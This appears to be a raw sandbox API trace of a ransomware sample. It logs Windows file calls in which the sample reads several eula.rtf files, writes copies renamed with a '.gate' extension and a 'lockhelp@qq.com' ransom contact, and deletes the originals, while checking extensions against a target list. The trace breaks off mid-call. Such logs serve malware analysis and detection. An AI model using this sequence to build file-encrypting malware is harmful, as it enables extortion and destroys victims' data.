GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80 [0111.802] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.802] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0111.802] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.802] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.802] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0111.802] GetLastError () returned 0x0 [0111.802] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0xdc6, lpOverlapped=0x0) returned 1 [0111.846] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xdd0, lpOverlapped=0x0) returned 1 [0111.847] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0111.847] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xe4, lpOverlapped=0x0) returned 1 [0111.847] SetEndOfFile (hFile=0x2c0) returned 1 [0111.848] CloseHandle (hObject=0x2c0) returned 1 [0111.848] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.848] SetEndOfFile (hFile=0x320) returned 1 [0111.849] CloseHandle (hObject=0x320) returned 1 [0111.849] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.849] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1 [0111.849] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0111.849] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0111.850] lstrlenW (lpString=".doc") returned 4 [0111.850] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0111.850] lstrlenW (lpString=".docx") returned 5 [0111.850] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0111.850] lstrlenW (lpString=".pdf") returned 4 [0111.850] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0111.850] lstrlenW (lpString=".xls") returned 4 [0111.850] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0111.850] lstrlenW (lpString=".xlsx") returned 5 [0111.850] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0111.850] lstrlenW (lpString=".ppt") returned 4 [0111.850] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0111.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0111.850] lstrlenW (lpString=".zip") returned 4 [0111.850] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0111.850] lstrlenW (lpString=".rar") returned 4 [0111.850] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0111.850] lstrlenW (lpString=".bz2") returned 4 [0111.850] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0111.850] lstrlenW (lpString=".7z") returned 3 [0111.850] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0111.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0111.850] lstrlenW (lpString=".dbf") returned 4 [0111.850] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0111.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0111.850] lstrlenW (lpString=".1cd") returned 4 [0111.850] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0111.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0111.850] lstrlenW (lpString=".jpg") returned 4 [0111.850] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0111.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0111.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0111.851] lstrlenW (lpString=".doc") returned 4 [0111.851] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0111.851] lstrlenW (lpString=".docx") returned 5 [0111.851] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0111.851] lstrlenW (lpString=".pdf") returned 4 [0111.851] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0111.851] lstrlenW (lpString=".xls") returned 4 [0111.851] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0111.851] lstrlenW (lpString=".xlsx") returned 5 [0111.851] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0111.851] lstrlenW (lpString=".ppt") returned 4 [0111.851] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0111.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0111.851] lstrlenW (lpString=".zip") returned 4 [0111.851] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0111.851] lstrlenW (lpString=".rar") returned 4 [0111.851] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0111.851] lstrlenW (lpString=".bz2") returned 4 [0111.851] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0111.851] lstrlenW (lpString=".7z") returned 3 [0111.851] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0111.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0111.851] lstrlenW (lpString=".dbf") returned 4 [0111.851] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0111.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0111.851] lstrlenW (lpString=".1cd") returned 4 [0111.851] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0111.851] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0111.851] lstrlenW (lpString=".jpg") returned 4 [0111.852] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0111.852] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0111.852] lstrlenW (lpString="eula.rtf") returned 8 [0111.852] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0111.852] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=4254) returned 1 [0111.852] CloseHandle (hObject=0x320) returned 1 [0111.852] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80 [0111.852] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.852] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0111.852] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.852] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.852] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0111.853] GetLastError () returned 0x0 [0111.853] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x109e, lpOverlapped=0x0) returned 1 [0111.898] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x10a0, lpOverlapped=0x0) returned 1 [0111.899] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0111.899] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xe4, lpOverlapped=0x0) returned 1 [0111.900] SetEndOfFile (hFile=0x2c0) returned 1 [0111.900] CloseHandle (hObject=0x2c0) returned 1 [0111.900] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.900] SetEndOfFile (hFile=0x320) returned 1 [0111.901] CloseHandle (hObject=0x320) returned 1 [0111.902] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.902] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1 [0111.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0111.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0111.902] lstrlenW (lpString=".doc") returned 4 [0111.902] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0111.902] lstrlenW (lpString=".docx") returned 5 [0111.902] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0111.902] lstrlenW (lpString=".pdf") returned 4 [0111.902] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0111.902] lstrlenW (lpString=".xls") returned 4 [0111.902] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0111.902] lstrlenW (lpString=".xlsx") returned 5 [0111.902] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0111.902] lstrlenW (lpString=".ppt") returned 4 [0111.902] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0111.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0111.902] lstrlenW (lpString=".zip") returned 4 [0111.903] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0111.903] lstrlenW (lpString=".rar") returned 4 [0111.903] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0111.903] lstrlenW (lpString=".bz2") returned 4 [0111.903] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0111.903] lstrlenW (lpString=".7z") returned 3 [0111.903] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0111.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0111.903] lstrlenW (lpString=".dbf") returned 4 [0111.903] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0111.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0111.903] lstrlenW (lpString=".1cd") returned 4 [0111.903] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0111.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0111.903] lstrlenW (lpString=".jpg") returned 4 [0111.903] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0111.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0111.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0111.903] lstrlenW (lpString=".doc") returned 4 [0111.903] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0111.903] lstrlenW (lpString=".docx") returned 5 [0111.903] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0111.903] lstrlenW (lpString=".pdf") returned 4 [0111.904] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0111.904] lstrlenW (lpString=".xls") returned 4 [0111.904] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0111.904] lstrlenW (lpString=".xlsx") returned 5 [0111.904] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0111.904] lstrlenW (lpString=".ppt") returned 4 [0111.904] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0111.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0111.904] lstrlenW (lpString=".zip") returned 4 [0111.904] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0111.904] lstrlenW (lpString=".rar") returned 4 [0111.904] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0111.904] lstrlenW (lpString=".bz2") returned 4 [0111.904] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0111.904] lstrlenW (lpString=".7z") returned 3 [0111.904] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0111.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0111.904] lstrlenW (lpString=".dbf") returned 4 [0111.904] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0111.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0111.904] lstrlenW (lpString=".1cd") returned 4 [0111.904] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0111.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0111.904] lstrlenW (lpString=".jpg") returned 4 [0111.904] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0111.904] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0111.904] lstrlenW (lpString="eula.rtf") returned 8 [0111.905] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0111.924] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=3643) returned 1 [0111.924] CloseHandle (hObject=0x320) returned 1 [0111.924] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80 [0111.924] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.924] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0111.924] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.924] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.924] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0111.925] GetLastError () returned 0x0 [0111.925] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0xe3b, lpOverlapped=0x0) returned 1 [0112.051] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xe40, lpOverlapped=0x0) returned 1 [0112.057] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.057] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xe4, lpOverlapped=0x0) returned 1 [0112.058] SetEndOfFile (hFile=0x2c0) returned 1 [0112.058] CloseHandle (hObject=0x2c0) returned 1 [0112.058] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.059] SetEndOfFile (hFile=0x320) returned 1 [0112.059] CloseHandle (hObject=0x320) returned 1 [0112.060] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0112.060] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1 [0112.060] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0112.060] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0112.060] lstrlenW (lpString=".doc") returned 4 [0112.060] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0112.060] lstrlenW (lpString=".docx") returned 5 [0112.060] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0112.060] lstrlenW (lpString=".pdf") returned 4 [0112.060] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0112.060] lstrlenW (lpString=".xls") returned 4 [0112.061] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0112.061] lstrlenW (lpString=".xlsx") returned 5 [0112.061] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0112.061] lstrlenW (lpString=".ppt") returned 4 [0112.061] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0112.061] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0112.061] lstrlenW (lpString=".zip") returned 4 [0112.061] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0112.061] lstrlenW (lpString=".rar") returned 4 [0112.061] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0112.061] lstrlenW (lpString=".bz2") returned 4 [0112.061] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0112.061] lstrlenW (lpString=".7z") returned 3 [0112.061] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0112.061] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0112.061] lstrlenW (lpString=".dbf") returned 4 [0112.061] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0112.061] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0112.061] lstrlenW (lpString=".1cd") returned 4 [0112.061] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0112.061] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0112.061] lstrlenW (lpString=".jpg") returned 4 [0112.061] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0112.061] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0112.061] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0112.061] lstrlenW (lpString=".doc") returned 4 [0112.062] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0112.062] lstrlenW (lpString=".docx") returned 5 [0112.062] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0112.062] lstrlenW (lpString=".pdf") returned 4 [0112.062] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0112.062] lstrlenW (lpString=".xls") returned 4 [0112.062] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0112.062] lstrlenW (lpString=".xlsx") returned 5 [0112.062] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0112.062] lstrlenW (lpString=".ppt") returned 4 [0112.062] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0112.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0112.062] lstrlenW (lpString=".zip") returned 4 [0112.062] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0112.062] lstrlenW (lpString=".rar") returned 4 [0112.062] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0112.062] lstrlenW (lpString=".bz2") returned 4 [0112.062] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0112.062] lstrlenW (lpString=".7z") returned 3 [0112.062] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0112.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0112.062] lstrlenW (lpString=".dbf") returned 4 [0112.062] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0112.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0112.062] lstrlenW (lpString=".1cd") returned 4 [0112.062] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0112.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35 [0112.063] lstrlenW (lpString=".jpg") returned 4 [0112.063] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0112.063] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0112.063] lstrlenW (lpString="eula.rtf") returned 8 [0112.063] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0112.063] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=10125) returned 1 [0112.063] CloseHandle (hObject=0x320) returned 1 [0112.064] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80 [0112.064] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0112.064] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0112.064] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.064] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.064] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0112.064] GetLastError () returned 0x0 [0112.064] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x278d, lpOverlapped=0x0) returned 1 [0112.118] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x2790, lpOverlapped=0x0) returned 1 [0112.119] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.119] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xe4, lpOverlapped=0x0) returned 1 [0112.119] SetEndOfFile (hFile=0x2c0) returned 1 [0112.119] CloseHandle (hObject=0x2c0) returned 1 [0112.120] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.120] SetEndOfFile (hFile=0x320) returned 1 [0112.122] CloseHandle (hObject=0x320) returned 1 [0112.122] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 